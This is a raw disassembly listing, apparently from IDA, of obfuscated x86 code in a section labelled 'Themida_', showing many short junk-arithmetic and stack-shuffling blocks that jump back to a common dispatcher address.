--------------------------------------------------------------------------- loc_561E84: ; CODE XREF: Themida_:00567051j mov eax, 28BA4DB0h xor esi, eax pop eax push edx mov edx, 1EFC1E18h add edx, 1 jmp loc_56852C ; --------------------------------------------------------------------------- loc_561E9A: ; CODE XREF: Themida_:00570A22j add eax, ecx pop ecx push ebx mov ebx, 4 sub eax, ebx jmp loc_56EEE3 ; --------------------------------------------------------------------------- loc_561EAA: ; CODE XREF: Themida_:005619A7j shr edi, 4 or edi, 171801DFh add edi, 0FCD41258h mov eax, edi pop edi shl eax, 3 push ecx mov ecx, 236523B8h jmp loc_56EC80 ; --------------------------------------------------------------------------- loc_561ECA: ; CODE XREF: Themida_:0055EC2Bj jmp loc_55D86D ; --------------------------------------------------------------------------- loc_561ECF: ; CODE XREF: Themida_:0055F2ECj mov ebx, edi pop edi xor ebp, ebx mov ebx, [esp] jmp loc_56F554 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] push 636h mov [esp], eax push esp pop eax push ecx mov ecx, 3D625D3Eh sub ecx, 4863580Ch dec ecx inc ecx and ecx, 73C44B95h xor ecx, 70C40114h add eax, ecx pop ecx jmp loc_561BED ; --------------------------------------------------------------------------- loc_561F0E: ; CODE XREF: Themida_:0055E91Fj pop ebx add esi, 4 xchg esi, [esp] pop esp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_571E2D ; --------------------------------------------------------------------------- loc_561F2E: ; CODE XREF: Themida_:0055FCC8j pop ebx add ebx, ecx pop ecx push ecx jmp loc_5688CA ; --------------------------------------------------------------------------- loc_561F38: ; CODE XREF: Themida_:00571A6Fj pop edx push 68B8h mov [esp], edx push ecx mov cl, 15h mov dh, cl pop ecx push eax mov ah, 3Ah and dh, ah pop eax xchg bl, dh not bl xchg bl, dh sub dh, 66h dec dh not dh sub dh, 30h add cl, dh jmp loc_5706FD ; --------------------------------------------------------------------------- loc_561F64: ; CODE XREF: Themida_:0055F737j push edi jmp loc_571F27 ; --------------------------------------------------------------------------- loc_561F6A: ; CODE XREF: Themida_:0055E0D8j push esi mov esi, 2 add ebx, esi pop esi xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp and [esp], al pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_561F86: ; CODE XREF: Themida_:0056956Cj mov edx, esp add edx, 4 push esi mov esi, 4 sub edx, esi mov esi, [esp] add esp, 4 xor edx, [esp] xor [esp], edx jmp loc_561126 ; --------------------------------------------------------------------------- loc_561FAA: ; CODE XREF: Themida_:005604D8j push 4 mov edi, [esp] add esp, 4 add esi, edi push dword ptr [esp] pop edi add esp, 4 push esi jmp loc_56D616 ; --------------------------------------------------------------------------- push 2ACCh push 3B34h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] sub esp, 4 mov [esp], edx push eax jmp loc_56567B ; --------------------------------------------------------------------------- loc_561FEE: ; CODE XREF: Themida_:00570089j add esp, 4 push edx mov edx, 45037453h and esi, edx pop edx push edx mov edx, 6D3236D6h jmp loc_568D42 ; --------------------------------------------------------------------------- loc_562008: ; CODE XREF: Themida_:00562EB1j pop ebx jmp loc_56BF46 ; --------------------------------------------------------------------------- loc_56200E: ; CODE XREF: Themida_:0056A643j push esi mov esi, 104CF8DDh sub ebx, esi pop esi sub eax, 28205EFAh add eax, ebx add eax, 28205EFAh pop ebx jmp loc_56383E ; --------------------------------------------------------------------------- loc_562029: ; CODE XREF: Themida_:0056750Dj xor eax, ecx xor ecx, eax jmp loc_56E540 ; --------------------------------------------------------------------------- loc_562032: ; CODE XREF: Themida_:00560E59j push esp jmp loc_55E7E0 ; --------------------------------------------------------------------------- loc_562038: ; CODE XREF: Themida_:00561615j mov [esp], ebp mov ebp, 273F5BB0h jmp loc_560598 ; --------------------------------------------------------------------------- loc_562045: ; CODE XREF: Themida_:00567779j xor ah, 33h sub ah, 0FFh sub ah, 85h and dl, ah pop eax xor dl, 99h add al, dl mov edx, [esp] add esp, 4 add al, 6Bh sub al, bl jmp loc_570A27 ; --------------------------------------------------------------------------- loc_562065: ; CODE XREF: Themida_:00569E06j add esp, 4 and ecx, ebp jmp loc_569C28 ; --------------------------------------------------------------------------- loc_56206F: ; CODE XREF: Themida_:0055E9B8j mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] add esp, 4 jmp loc_570C6A ; --------------------------------------------------------------------------- loc_562086: ; CODE XREF: Themida_:00570BF1j pop dword ptr [esp] jmp loc_568F81 ; --------------------------------------------------------------------------- loc_56208E: ; CODE XREF: Themida_:005637A3j push ebp mov ebp, 6F276C5h jmp loc_56D682 ; --------------------------------------------------------------------------- loc_562099: ; CODE XREF: Themida_:0055F9D6j mov esp, [esp] mov [esp], ecx push 0FEh pop ecx and [edi+1Ch], ecx jmp loc_566B63 ; --------------------------------------------------------------------------- loc_5620AD: ; CODE XREF: Themida_:0056A11Fj not edi inc edi jmp loc_572591 ; --------------------------------------------------------------------------- loc_5620B5: ; CODE XREF: Themida_:00571B21j mov edi, 26161BDh shl edi, 1 jmp loc_56F063 ; --------------------------------------------------------------------------- loc_5620C1: ; CODE XREF: Themida_:0056740Ej push dword ptr [esp] pop edi jmp loc_55E572 ; --------------------------------------------------------------------------- loc_5620CA: ; CODE XREF: Themida_:00561A44j add dword ptr [esp], 4 jmp loc_56F7E6 ; --------------------------------------------------------------------------- loc_5620D6: ; CODE XREF: Themida_:005690ABj push edx mov edx, 7C203BF0h xor edx, 52075F70h sub edi, edx mov edx, [esp] add esp, 4 sub edi, eax add edi, 2E276480h sub edi, 2E51777Bh jmp loc_56B4AB ; --------------------------------------------------------------------------- loc_5620FD: ; CODE XREF: Themida_:00560A96j sub edi, ebp sub edi, 4603C81h jmp loc_5609A1 ; --------------------------------------------------------------------------- loc_56210A: ; CODE XREF: Themida_:005646EEj mov ebp, 4 sub edi, ebp pop ebp jmp loc_56F465 ; --------------------------------------------------------------------------- loc_562117: ; CODE XREF: Themida_:0055F7D3j push edi mov edi, 39B2161Ch jmp loc_570179 ; --------------------------------------------------------------------------- loc_562122: ; CODE XREF: Themida_:0056FC41j mov esi, esp jmp loc_56538E ; --------------------------------------------------------------------------- loc_562129: ; CODE XREF: Themida_:0055DD5Fj dec ch add ch, 0FBh shr ch, 7 jmp loc_56F0D5 ; --------------------------------------------------------------------------- loc_562136: ; CODE XREF: Themida_:00563D74j add edi, 4 jmp loc_562355 ; --------------------------------------------------------------------------- loc_562141: ; CODE XREF: Themida_:0056132Bj push 0FF31FC8h pop edi neg edi sub edi, 4876922h jmp loc_570CBF ; --------------------------------------------------------------------------- loc_562154: ; CODE XREF: Themida_:0055D969j sub edx, 68B827F1h push dword ptr [esp] jmp loc_5623E7 ; --------------------------------------------------------------------------- loc_562162: ; CODE XREF: Themida_:00560B31j sub edi, ebx pop ebx sub edi, 0D518E251h sub edx, edi jmp loc_55ED96 ; --------------------------------------------------------------------------- loc_562172: ; CODE XREF: Themida_:0056FFC3j sub bl, 5Ah jmp loc_56DA89 ; --------------------------------------------------------------------------- loc_56217A: ; CODE XREF: Themida_:0055D986j push 3955h mov [esp], edi mov edi, esp push edx mov edx, 4 add edi, edx pop edx add edi, 4 jmp loc_570D39 ; --------------------------------------------------------------------------- loc_562195: ; CODE XREF: Themida_:00560849j push ebp mov ebp, 6F7E0650h add ebp, 0F3E97320h sub eax, ebp jmp loc_562697 ; --------------------------------------------------------------------------- loc_5621A8: ; CODE XREF: Themida_:00571712j sub ebx, 31DB7669h pop ecx dec ebx not ebx sub esp, 4 mov [esp], ebp jmp loc_5689F5 ; --------------------------------------------------------------------------- loc_5621C0: ; CODE XREF: Themida_:0055D8C8j push ecx jmp loc_56068B ; --------------------------------------------------------------------------- loc_5621C6: ; CODE XREF: Themida_:00560A10j pop esi sub eax, edi sub eax, 309A5E90h mov edi, [esp] push ebp jmp loc_572660 ; --------------------------------------------------------------------------- loc_5621D7: ; CODE XREF: Themida_:00563757j xor edi, [esp] jmp loc_56A8E9 ; --------------------------------------------------------------------------- loc_5621DF: ; CODE XREF: Themida_:00571A00j not edi sub edi, 0A27C0460h jmp loc_567E37 ; --------------------------------------------------------------------------- loc_5621EC: ; CODE XREF: Themida_:00561643j pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5621F8: ; CODE XREF: Themida_:00561D0Ej mov esp, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ecx mov ecx, esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx jmp loc_55F312 ; --------------------------------------------------------------------------- loc_56222D: ; CODE XREF: Themida_:00562D0Dj xchg edi, [esp] pop esp jmp loc_55D86D ; --------------------------------------------------------------------------- loc_562236: ; CODE XREF: Themida_:00566750j add eax, ebp pop ebp push ecx mov ecx, 183153DAh add eax, ecx jmp loc_5676BD ; --------------------------------------------------------------------------- loc_562246: ; CODE XREF: Themida_:0056712Cj xor esi, edx pop edx mov edi, esi pop esi jmp loc_571ED7 ; --------------------------------------------------------------------------- loc_562251: ; CODE XREF: Themida_:0056C821j mov ebp, ecx pop ecx push esi mov esi, 7A302838h jmp loc_56C2FD ; --------------------------------------------------------------------------- loc_56225F: ; CODE XREF: Themida_:0056A264j sub esp, 4 mov [esp], eax push esp pop eax add eax, 4 jmp loc_56D7A0 ; --------------------------------------------------------------------------- loc_562274: ; CODE XREF: Themida_:0056757Ej mov edx, 4 add ebp, edx jmp loc_5602F6 ; --------------------------------------------------------------------------- loc_562280: ; CODE XREF: Themida_:0056D35Bj add esp, 4 push ebp mov ebp, 2AA14DA6h dec ebp jmp loc_5636A7 ; --------------------------------------------------------------------------- loc_562292: ; CODE XREF: Themida_:00568BF6j add [esp+4], ebp jmp loc_5633DF ; --------------------------------------------------------------------------- loc_56229B: ; CODE XREF: Themida_:00561856j add ecx, ebx pop ebx add ecx, 4 xchg ecx, [esp] pop esp add esp, 4 push 420Fh jmp loc_5709C0 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5622C1: ; CODE XREF: Themida_:0056308Fj add ecx, 2E4E4A38h pop eax xor eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_56768F ; --------------------------------------------------------------------------- loc_5622D8: ; CODE XREF: Themida_:005680B2j xchg edi, [esp] mov esp, [esp] xor eax, 65767D43h push ecx push eax push ebx mov ebx, 0B5866F6h push edi push 3DC842D8h pop edi sub edi, 68C424A9h neg edi sub edi, 2314D097h jmp loc_566763 ; --------------------------------------------------------------------------- loc_562305: ; CODE XREF: Themida_:00561836j mov edx, esp jmp loc_56A589 ; --------------------------------------------------------------------------- loc_56230C: ; CODE XREF: Themida_:0055DFECj mov al, cl pop ecx mov ch, al jmp loc_5604B6 ; --------------------------------------------------------------------------- loc_562316: ; CODE XREF: Themida_:00572653j add esi, 11DE5628h jmp loc_56FD6D ; --------------------------------------------------------------------------- loc_562321: ; CODE XREF: Themida_:00563B0Ej mov edx, edi pop edi sub edx, 0FFFFFFFFh jmp loc_56D9A3 ; --------------------------------------------------------------------------- loc_56232C: ; CODE XREF: Themida_:0056A51Fj pop ebx push ebx push ebp pop ebx pop ebp sub esp, 4 mov [esp], ebp not dword ptr [esp] jmp loc_567730 ; --------------------------------------------------------------------------- mov ax, [esp] push 1AD1h jmp loc_56D00F ; --------------------------------------------------------------------------- loc_562350: ; CODE XREF: Themida_:00562ECFj jmp loc_55D86D ; --------------------------------------------------------------------------- loc_562355: ; CODE XREF: Themida_:0056213Cj xchg edi, [esp] pop esp jmp loc_56E648 ; --------------------------------------------------------------------------- loc_56235E: ; CODE XREF: Themida_:00568273j push 53CCh mov [esp], eax push esp jmp loc_563A3B ; --------------------------------------------------------------------------- loc_56236C: ; CODE XREF: Themida_:0056124Bj add ebp, ecx add ebp, 1EAF7302h push edx mov edx, 2EF30153h sub ebp, 76AE78D5h sub ebp, edx add ebp, 76AE78D5h pop edx pop ecx push ecx jmp loc_567635 ; --------------------------------------------------------------------------- loc_562390: ; CODE XREF: Themida_:00568995j sub esp, 4 mov [esp], eax push ecx jmp loc_56760F ; --------------------------------------------------------------------------- loc_56239F: ; CODE XREF: Themida_:00562963j mov [esp], ebx push 165Eh mov [esp], ecx mov ecx, 35DC137Dh jmp loc_56ED80 ; --------------------------------------------------------------------------- loc_5623B4: ; CODE XREF: Themida_:00562815j push esi jmp loc_55F906 ; --------------------------------------------------------------------------- loc_5623BA: ; CODE XREF: Themida_:00571D3Dj or edx, 0E137EE9h jmp loc_55EF38 ; --------------------------------------------------------------------------- loc_5623C5: ; CODE XREF: Themida_:0056A60Fj add edx, 62DB3ABDh jmp loc_568CB8 ; --------------------------------------------------------------------------- loc_5623D0: ; CODE XREF: Themida_:005612B2j push ebx jmp loc_56183B ; --------------------------------------------------------------------------- loc_5623D6: ; CODE XREF: Themida_:005671ADj pop esp and [esp], eax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5623E0: ; CODE XREF: Themida_:0056BE11j mov bl, ch jmp loc_55E82B ; --------------------------------------------------------------------------- loc_5623E7: ; CODE XREF: Themida_:0056215Dj pop ebp add esp, 4 sub edx, 7FBD7A1Bh jmp loc_56D8DF ; --------------------------------------------------------------------------- loc_5623F9: ; CODE XREF: Themida_:00562692j xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx jmp loc_5607AB ; --------------------------------------------------------------------------- loc_56240D: ; CODE XREF: Themida_:0056E72Aj pop ecx add eax, ebx push 52FFh mov [esp], edx push ecx mov ecx, 0AEC23E7h mov edx, 167A541Dh jmp loc_568ABB ; --------------------------------------------------------------------------- loc_562428: ; CODE XREF: Themida_:0056DC22j shr esi, 7 push edi mov edi, 437A319Eh jmp loc_565450 ; --------------------------------------------------------------------------- loc_562436: ; CODE XREF: Themida_:00568B73j sub esp, 4 mov [esp], ecx mov ch, 81h xor ch, 0FEh add al, ch jmp loc_570B81 ; --------------------------------------------------------------------------- mov cx, [esp] push 0AD8h mov [esp], edi mov edi, esp sub esp, 4 mov [esp], esi push edx mov edx, 71FC4BA1h inc edx push ecx mov ecx, 6FEA6372h shl ecx, 6 add ecx, 7B169DFCh jmp loc_563A05 ; --------------------------------------------------------------------------- loc_562477: ; CODE XREF: Themida_:00563E8Bj mov ecx, 14BC474Fh add ebp, ecx mov ecx, [esp] jmp loc_561511 ; --------------------------------------------------------------------------- loc_562486: ; CODE XREF: Themida_:005663DAj xor eax, edx push dword ptr [esp] jmp loc_567D54 ; --------------------------------------------------------------------------- loc_562490: ; CODE XREF: Themida_:00563895j add [esp+4], esi sub dword ptr [esp+4], 419B48FEh jmp loc_55ED20 ; --------------------------------------------------------------------------- loc_5624A1: ; CODE XREF: Themida_:005628FDj pop esi and cx, dx pop edx add cx, 0E669h xor ax, cx jmp loc_55F936 ; --------------------------------------------------------------------------- loc_5624B3: ; CODE XREF: Themida_:0056F90Bj xor ebp, edi jmp loc_56E26F ; --------------------------------------------------------------------------- loc_5624BA: ; CODE XREF: Themida_:00567DD7j sub esp, 4 mov [esp], eax mov eax, 4 push 6D7Bh mov [esp], esi mov esi, 313100F6h jmp loc_567325 ; --------------------------------------------------------------------------- loc_5624D7: ; CODE XREF: Themida_:00567B0Ej add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_570099 ; --------------------------------------------------------------------------- loc_5624E8: ; CODE XREF: Themida_:00569C8Ej mov esp, [esp] add esp, 4 jmp loc_56F580 ; --------------------------------------------------------------------------- loc_5624F6: ; CODE XREF: Themida_:0056FC32j push ebx mov ebx, 46C035B1h neg ebx shl ebx, 1 shr ebx, 6 push eax mov eax, 5DEB190Ah neg eax jmp loc_56BA95 ; --------------------------------------------------------------------------- loc_562510: ; CODE XREF: Themida_:0056E113j mov edi, [esp] add esp, 4 xchg edx, [esp] jmp loc_570363 ; --------------------------------------------------------------------------- loc_56251E: ; CODE XREF: Themida_:005654A9j push ebp mov ebp, 5377868h mov eax, ebp pop ebp push esi jmp loc_565D8A ; --------------------------------------------------------------------------- loc_56252D: ; CODE XREF: Themida_:005717A7j add esp, 4 mov ebx, [esp] jmp loc_562D50 ; --------------------------------------------------------------------------- loc_56253B: ; CODE XREF: Themida_:00572371j sub ecx, edx pop edx jmp loc_55EAAC ; --------------------------------------------------------------------------- loc_562543: ; CODE XREF: Themida_:0056822Ej mov [esp], ecx push edx mov edx, 5975EEEh jmp loc_56405A ; --------------------------------------------------------------------------- loc_562551: ; CODE XREF: Themida_:0056A955j add edx, 0FFFFFFFFh not edx add edx, 99F463BCh push edi mov edi, 35454B2Fh dec edi neg edi shr edi, 7 jmp loc_56EB8B ; --------------------------------------------------------------------------- loc_562570: ; CODE XREF: Themida_:00563A93j xor ecx, 0DBE764A0h jmp loc_568BEB ; --------------------------------------------------------------------------- loc_56257B: ; CODE XREF: Themida_:00564BA8j push 4A4Eh mov [esp], edi push ecx push esi jmp loc_562AED ; --------------------------------------------------------------------------- loc_56258A: ; CODE XREF: Themida_:0056B5AFj sub eax, edi pop edi xor ebx, eax jmp loc_56CDE9 ; --------------------------------------------------------------------------- loc_562594: ; CODE XREF: Themida_:0056141Aj add esp, 4 add bl, al jmp loc_56178E ; --------------------------------------------------------------------------- loc_5625A1: ; CODE XREF: Themida_:00564597j mov esi, 6FEE57Bh add edi, esi pop esi push ecx mov ecx, edi jmp loc_564257 ; --------------------------------------------------------------------------- loc_5625B1: ; CODE XREF: Themida_:0055ECAFj shl ecx, 3 xor ecx, 795E294Ch dec ecx jmp loc_55FDD7 ; --------------------------------------------------------------------------- loc_5625C0: ; CODE XREF: Themida_:0056B04Ej pop eax xor ebp, ebx mov ebx, [esp] add esp, 4 add eax, ebp jmp loc_563525 ; --------------------------------------------------------------------------- loc_5625D0: ; CODE XREF: Themida_:0056C3D1j add [esp+4], edx pop edx jmp loc_568C62 ; --------------------------------------------------------------------------- loc_5625DA: ; CODE XREF: Themida_:0055E474j not bh add bh, 3Fh sub al, bh pop ebx jmp loc_5702B6 ; --------------------------------------------------------------------------- loc_5625E7: ; CODE XREF: Themida_:00560455j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_570A43 ; --------------------------------------------------------------------------- loc_5625FF: ; CODE XREF: Themida_:005699BEj add ecx, 1 sub ecx, 2763F221h mov edi, ecx pop ecx sub eax, 412C5848h add eax, edi add eax, 412C5848h mov edi, [esp] add esp, 4 push eax xor [esp], ecx xor ecx, [esp] xor [esp], ecx not ecx xchg ecx, [esp] pop eax shl eax, 2 jmp loc_561052 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5705C2 ; --------------------------------------------------------------------------- loc_562641: ; CODE XREF: Themida_:00560281j mov edx, ebx pop ebx push dword ptr [esp] pop esi add esp, 4 push ecx mov ecx, 4F2FDBB0h jmp loc_5723BE ; --------------------------------------------------------------------------- loc_562656: ; CODE XREF: Themida_:0055F0D6j push ebx mov ebx, esp jmp loc_56A207 ; --------------------------------------------------------------------------- loc_56265E: ; CODE XREF: Themida_:0056BA08j add esp, 4 jmp loc_570BDE ; --------------------------------------------------------------------------- loc_562669: ; CODE XREF: Themida_:0057207Cj push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_563AC9 ; --------------------------------------------------------------------------- loc_56267D: ; CODE XREF: Themida_:00566E7Fj mov ebx, 259E5A7Dh jmp loc_56168F ; --------------------------------------------------------------------------- loc_562687: ; CODE XREF: Themida_:00566B85j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56268C: ; CODE XREF: Themida_:00571BE2j add ebp, 4 jmp loc_5623F9 ; --------------------------------------------------------------------------- loc_562697: ; CODE XREF: Themida_:005621A3j mov ebp, [esp] add esp, 4 push 13E5h mov [esp], edx push eax add dword ptr [esp], 7EE28DAh pop edx push ecx mov ecx, 7BAE3E0Ah or ecx, 4C356229h add ecx, 882EAAAFh sub edx, ecx pop ecx mov ebx, edx pop edx mov eax, [esp] add esp, 4 add ebx, 73857E55h add ebx, edi push ecx mov ecx, 7E623ED8h push 0 sub [esp], ecx pop ecx inc ecx sub ecx, 5BED15F2h push edx jmp loc_56452C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], al pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_562705: ; CODE XREF: Themida_:0056E106j mov bh, ch pop ecx jmp loc_567DC5 ; --------------------------------------------------------------------------- loc_56270D: ; CODE XREF: Themida_:0056E675j shl word ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_562717: ; CODE XREF: Themida_:00571E5Cj mov [esp], ecx jmp loc_55DB91 ; --------------------------------------------------------------------------- loc_56271F: ; CODE XREF: Themida_:00561981j sub esi, 5BB10262h push 61A8h jmp loc_567602 ; --------------------------------------------------------------------------- loc_56272F: ; CODE XREF: Themida_:0055EEBFj mov [esp], dx mov dl, 7Bh jmp loc_562E1A ; --------------------------------------------------------------------------- loc_56273A: ; CODE XREF: Themida_:005710F8j push ecx mov ecx, 5C384A2Bh add ecx, 0A370905h jmp loc_56A058 ; --------------------------------------------------------------------------- loc_56274B: ; CODE XREF: Themida_:005681FAj mov eax, esi jmp loc_56552F ; --------------------------------------------------------------------------- loc_562752: ; CODE XREF: Themida_:00571ED2j mov eax, [esp] push 5ABCh mov [esp], edi push 5228h mov [esp], esp jmp loc_5651B0 ; --------------------------------------------------------------------------- loc_56276A: ; CODE XREF: Themida_:00564762j xchg eax, [esp] pop esp add edi, 106F14A9h push 3067h jmp loc_571D07 ; --------------------------------------------------------------------------- mov ax, [esp] push ebp mov ebp, esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx push edx mov edx, 52872AC4h shr edx, 4 jmp loc_56CC6F ; --------------------------------------------------------------------------- loc_5627A6: ; CODE XREF: Themida_:005634A5j mov ecx, 301115DCh push 1A20h mov [esp], edx jmp loc_55EEA7 ; --------------------------------------------------------------------------- jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5627BD: ; CODE XREF: Themida_:005718E2j xor [esp], edx xor edx, [esp] jmp loc_56ABC3 ; --------------------------------------------------------------------------- loc_5627C8: ; CODE XREF: Themida_:005607B8j push ecx mov ecx, 0DA3B0FADh mov edx, ecx pop ecx xor eax, edx mov edx, [esp] add esp, 4 sub esi, eax push dword ptr [esp] pop eax add esp, 4 sub esi, 544A7826h add esi, ebx add esi, 544A7826h add esi, 0B2614CDh pop ebx push esi add dword ptr [esp], 357924EFh pop ecx sub ecx, 357924EFh push dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_5623B4 ; --------------------------------------------------------------------------- loc_56281A: ; CODE XREF: Themida_:005618C6j add esp, 4 sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56283A: ; CODE XREF: Themida_:005607F5j mov eax, 4B4D75F5h xor eax, 0AE46707h shl eax, 2 add eax, 0D2C0B2h mov edx, eax pop eax mov ebx, 284D273Ah push ebp jmp loc_566E2D ; --------------------------------------------------------------------------- loc_56285A: ; CODE XREF: Themida_:0056B23Cj sub ebx, edx jmp loc_55EC7A ; --------------------------------------------------------------------------- loc_562861: ; CODE XREF: Themida_:00563713j mov ebp, 717F3B0Ah or edi, ebp pop ebp push edi push ecx pop edi jmp loc_56FF9F ; --------------------------------------------------------------------------- loc_562871: ; CODE XREF: Themida_:0056933Aj sub di, 1E2Fh add di, 67Ch xor si, di pop edi shr si, 7 jmp loc_56DE06 ; --------------------------------------------------------------------------- mov eax, [esp] push 4DF1h mov [esp], ebp push esp pop ebp jmp loc_56BB52 ; --------------------------------------------------------------------------- loc_56289A: ; CODE XREF: Themida_:0056C87Cj neg bl jmp loc_56AF67 ; --------------------------------------------------------------------------- loc_5628A1: ; CODE XREF: Themida_:005680E0j add eax, 4 add eax, 4 xchg eax, [esp] pop esp push 5584h mov [esp], esi push 1629h mov [esp], ebp push dword ptr [esp] push dword ptr [esp] jmp loc_560CCD ; --------------------------------------------------------------------------- loc_5628C8: ; CODE XREF: Themida_:005661CEj mov [esp], edi mov edi, 783A557Ah xor edi, 783A557Eh add ebx, 7D7C4AFFh add ebx, edi sub ebx, 7D7C4AFFh mov edi, [esp] add esp, 4 jmp loc_5700EA ; --------------------------------------------------------------------------- loc_5628EF: ; CODE XREF: Themida_:0056C838j shl dword ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5628F8: ; CODE XREF: Themida_:0056B9A0j pop bx xor dx, si jmp loc_5624A1 ; --------------------------------------------------------------------------- loc_562902: ; CODE XREF: Themida_:005640F7j xor ebx, 987D9111h add ecx, ebx pop ebx add ecx, 6F4C1B33h jmp loc_55FFB0 ; --------------------------------------------------------------------------- loc_562916: ; CODE XREF: Themida_:00568030j add eax, 42DA28C1h shr eax, 6 xor eax, 2B2FD1Dh add edx, eax jmp loc_5690B0 ; --------------------------------------------------------------------------- loc_56292A: ; CODE XREF: Themida_:00565066j push 0 sub [esp], edx pop edx push 33Dh mov [esp], ebx push 6AB0h mov [esp], edx jmp loc_571D42 ; --------------------------------------------------------------------------- loc_562948: ; CODE XREF: Themida_:0056FD52j mov [esp], ecx pop esi push dword ptr [esp] pop ecx add esp, 4 and eax, esi pop esi or eax, eax jz loc_57183E push 2551h jmp loc_56239F ; --------------------------------------------------------------------------- loc_562968: ; CODE XREF: Themida_:005603E0j mov esp, [esp] shr eax, 0Bh xor ecx, eax push 7414h jmp loc_55DCB9 ; --------------------------------------------------------------------------- loc_56297A: ; CODE XREF: Themida_:0055DA67j pop esp jmp loc_55FCF3 ; --------------------------------------------------------------------------- loc_562980: ; CODE XREF: Themida_:0055E347j mov [esp], esp add dword ptr [esp], 4 pop ebp push edi mov edi, 4 add ebp, 198A023Ah add ebp, edi sub ebp, 198A023Ah mov edi, [esp] jmp loc_563B61 ; --------------------------------------------------------------------------- loc_5629A4: ; CODE XREF: Themida_:005704A3j mov edi, 1C840023h jmp loc_563390 ; --------------------------------------------------------------------------- loc_5629AE: ; CODE XREF: Themida_:005654B6j add ebx, 4 jmp loc_56DC76 ; --------------------------------------------------------------------------- loc_5629B6: ; CODE XREF: Themida_:0056559Dj push dword ptr [esp] jmp loc_56BFFC ; --------------------------------------------------------------------------- loc_5629BE: ; CODE XREF: Themida_:0055E457j xor [esp], esi jmp loc_56F8D7 ; --------------------------------------------------------------------------- loc_5629C6: ; CODE XREF: Themida_:0055DBC1j sub al, 0CDh add al, 61h push 63BBh mov [esp], edx push ebx push ecx mov cl, 0DCh mov bl, 4Eh add bl, cl pop ecx push eax mov ah, bl mov dl, ah pop eax pop ebx add dl, 0FFh jmp loc_56F640 ; --------------------------------------------------------------------------- mov ax, [esp] push esi push esp jmp loc_5619BC ; --------------------------------------------------------------------------- loc_5629F5: ; CODE XREF: Themida_:00566AB1j ; Themida_:0056D25Fj push edx push 281Ah mov [esp], ebx push dword ptr [esp] jmp loc_560C63 ; --------------------------------------------------------------------------- loc_562A06: ; CODE XREF: Themida_:0055F4C3j pop ebp not esi jmp loc_56A331 ; --------------------------------------------------------------------------- loc_562A0E: ; CODE XREF: Themida_:00571CDCj sub esi, edi pop edi xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], esi push ebp mov ebp, 3C867AA2h mov esi, 3C867AA0h jmp loc_566494 ; --------------------------------------------------------------------------- loc_562A30: ; CODE XREF: Themida_:00561385j jmp loc_55D86D ; --------------------------------------------------------------------------- loc_562A35: ; CODE XREF: Themida_:00561526j add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_565C1D ; --------------------------------------------------------------------------- loc_562A49: ; CODE XREF: Themida_:00570364j mov [esp], edx push 4D3Ah jmp loc_56506B ; --------------------------------------------------------------------------- loc_562A56: ; CODE XREF: Themida_:00570A3Ej pop ebp push eax mov eax, 341D02EBh push edx mov edx, 7B992896h jmp loc_568470 ; --------------------------------------------------------------------------- loc_562A68: ; CODE XREF: Themida_:00567889j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], edx mov edx, esp add edx, 4 push ebx jmp loc_56F025 ; --------------------------------------------------------------------------- loc_562A8A: ; CODE XREF: Themida_:00561C7Aj pop esp sub esp, 4 jmp loc_571670 ; --------------------------------------------------------------------------- loc_562A93: ; CODE XREF: Themida_:0057204Fj pop ebp sub esp, 4 jmp loc_56A95A ; --------------------------------------------------------------------------- loc_562A9C: ; CODE XREF: Themida_:00567723j xor bl, al movzx eax, al pop dword ptr [edi+eax*4] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_562AA9: ; CODE XREF: Themida_:0056AB6Cj push esi mov esi, 6357CEDh jmp loc_56170A ; --------------------------------------------------------------------------- loc_562AB4: ; CODE XREF: Themida_:0056B676j pop ebp shl esi, 6 xor esi, 2F63006Dh or esi, 223C3B62h jmp loc_561D4D ; --------------------------------------------------------------------------- loc_562AC9: ; CODE XREF: Themida_:00560B7Dj neg eax push edx push eax jmp loc_568233 ; --------------------------------------------------------------------------- loc_562AD2: ; CODE XREF: Themida_:0056830Bj pop bx shl ah, 8 add ah, 0A6h add dl, ah pop eax not dl add dl, 2Bh jmp loc_5648A0 ; --------------------------------------------------------------------------- loc_562AE7: ; CODE XREF: Themida_:0056CB7Dj push esi jmp loc_56E5EA ; --------------------------------------------------------------------------- loc_562AED: ; CODE XREF: Themida_:00562585j mov esi, 2F6318B5h push esi jmp loc_5682D2 ; --------------------------------------------------------------------------- 